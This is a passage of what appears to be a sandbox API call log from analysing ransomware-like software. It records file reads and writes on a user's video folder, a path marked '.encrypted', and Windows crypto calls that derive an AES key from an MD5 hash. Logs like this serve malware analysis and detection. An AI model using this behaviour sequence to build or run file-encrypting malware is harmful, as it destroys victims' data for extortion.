hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2cfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11514) returned 1 [0029.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.encrypted.mkv\r\n", cchWideChar=125, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 125 [0029.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.encrypted.mkv\r\n", cchWideChar=125, lpMultiByteStr=0xe8f4068810, cbMultiByte=125, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 125 [0029.670] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4067610*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4067610*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x7c, lpOverlapped=0x0) returned 1 [0029.670] CloseHandle (hObject=0x188) returned 1 [0029.670] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.670] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.671] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.671] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.671] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.671] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.671] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.672] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.672] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.672] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.673] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4", cchWideChar=113, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 113 [0029.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4", cchWideChar=113, lpMultiByteStr=0xe8f4065770, cbMultiByte=113, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4", lpUsedDefaultChar=0x0) returned 113 [0029.673] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\q4ys4dcnc7h4g.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=113, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0029.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=113, lpWideCharStr=0xe8f40632e0, cchWideChar=113 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4") returned 113 [0029.673] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.674] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.674] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.674] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.674] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.675] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.675] CloseHandle (hObject=0x188) returned 1 [0029.675] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.675] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.675] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.675] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.675] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.676] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.676] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.676] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.676] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.676] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.676] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.677] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.677] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.677] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.678] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.678] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.678] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.678] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.678] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.678] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.679] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b180, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.679] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.679] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.679] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.680] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.680] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.680] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.681] PeekMessageW (in: 